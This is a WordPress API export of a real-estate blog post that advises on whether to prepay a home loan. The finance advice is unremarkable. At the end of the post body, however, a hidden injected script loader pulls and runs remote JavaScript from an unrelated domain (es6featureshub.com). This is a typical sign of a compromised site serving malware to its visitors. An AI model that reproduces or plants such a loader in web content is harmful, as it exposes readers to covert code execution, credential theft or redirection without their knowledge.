{"id":18,"date":"2015-04-27T10:14:07","date_gmt":"2015-04-27T10:14:07","guid":{"rendered":"http:\/\/www.yeshdevelopers.com\/blog\/?p=18"},"modified":"2025-10-31T01:49:19","modified_gmt":"2025-10-31T01:49:19","slug":"interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan","status":"publish","type":"post","link":"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/","title":{"rendered":"Interest rates looks set for a fall in the near future, should I do part prepayment of my home loan?"},"content":{"rendered":"<p>Not necessarily. <a href=\"http:\/\/www.yeshdevelopers.com\/checklist-for-availing-bank-loans\/\" target=\"_blank\">Home loan<\/a> is a loan which is taken to create a long term asset. Concentrate on retiring high cost consumer oriented loans such as vehicle loan, personal loan, if any. Also, ensure Credit Card is paid within the due date. NEVER EVER carry forward the Credit Card dues.<\/p>\n<p><a href=\"http:\/\/www.yeshdevelopers.com\/checklist-for-availing-bank-loans\/\" target=\"_blank\">Home Loan<\/a> with a tax saving kicker effectively reduces the actual interest rate that a home owner actually incurs. This results in a substantial savings in the long run.<\/p>\n<p>Home Loan is an excellent vehicle to fund a <a href=\"http:\/\/www.yeshdevelopers.com\/things-to-consider-before-buying-a-land\/\" target=\"_blank\">real estate purchase<\/a>.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Not necessarily. Home loan is a loan which is taken to create a long term asset. Concentrate on retiring high cost consumer oriented loans such as vehicle loan, personal loan, if any. Also, ensure Credit Card is paid within the due date. NEVER EVER carry forward the Credit Card dues. Home Loan with a tax [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-18","post","type-post","status-publish","format-standard","hentry","category-buyers-guide"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v25.0 (Yoast SEO v26.3) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Interest rates looks set for a fall in the near future, should I do part prepayment of my home loan? - Yesh Developers<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Interest rates looks set for a fall in the near future, should I do part prepayment of my home loan?\" \/>\n<meta property=\"og:description\" content=\"Not necessarily. Home loan is a loan which is taken to create a long term asset. Concentrate on retiring high cost consumer oriented loans such as vehicle loan, personal loan, if any. Also, ensure Credit Card is paid within the due date. NEVER EVER carry forward the Credit Card dues. Home Loan with a tax [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/\" \/>\n<meta property=\"og:site_name\" content=\"Yesh Developers\" \/>\n<meta property=\"article:published_time\" content=\"2015-04-27T10:14:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-31T01:49:19+00:00\" \/>\n<meta name=\"author\" content=\"yeshplots\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"yeshplots\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/\",\"url\":\"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/\",\"name\":\"Interest rates looks set for a fall in the near future, should I do part prepayment of my home loan? - Yesh Developers\",\"isPartOf\":{\"@id\":\"https:\/\/www.yeshdevelopers.com\/blog\/#website\"},\"datePublished\":\"2015-04-27T10:14:07+00:00\",\"dateModified\":\"2025-10-31T01:49:19+00:00\",\"author\":{\"@id\":\"https:\/\/www.yeshdevelopers.com\/blog\/#\/schema\/person\/d064d01f3142c881e349b5264ae12d3e\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.yeshdevelopers.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Interest rates looks set for a fall in the near future, should I do part prepayment of my home loan?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.yeshdevelopers.com\/blog\/#website\",\"url\":\"https:\/\/www.yeshdevelopers.com\/blog\/\",\"name\":\"Yesh Developers\",\"description\":\"All about properties in mysore, bangalore, hubli  dharwad and real estate updates!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.yeshdevelopers.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.yeshdevelopers.com\/blog\/#\/schema\/person\/d064d01f3142c881e349b5264ae12d3e\",\"name\":\"yeshplots\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.yeshdevelopers.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1f9e1c5c86d3fc308dfe3fdb872e1ffaae7248fb57b9a70abb81fd70ebffcc2c?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/1f9e1c5c86d3fc308dfe3fdb872e1ffaae7248fb57b9a70abb81fd70ebffcc2c?s=96&d=mm&r=g\",\"caption\":\"yeshplots\"}}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Interest rates looks set for a fall in the near future, should I do part prepayment of my home loan? - Yesh Developers","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.yeshdevelopers.com\/blog\/interest-rates-looks-set-for-a-fall-in-the-near-future-should-i-do-part-prepayment-of-my-home-loan\/","og_locale":"en_US","og_type":"article","og_title":"Interest rates looks set for a fall in the near future, should I do part prepayment of my home loan?","og_description":"Not necessarily. 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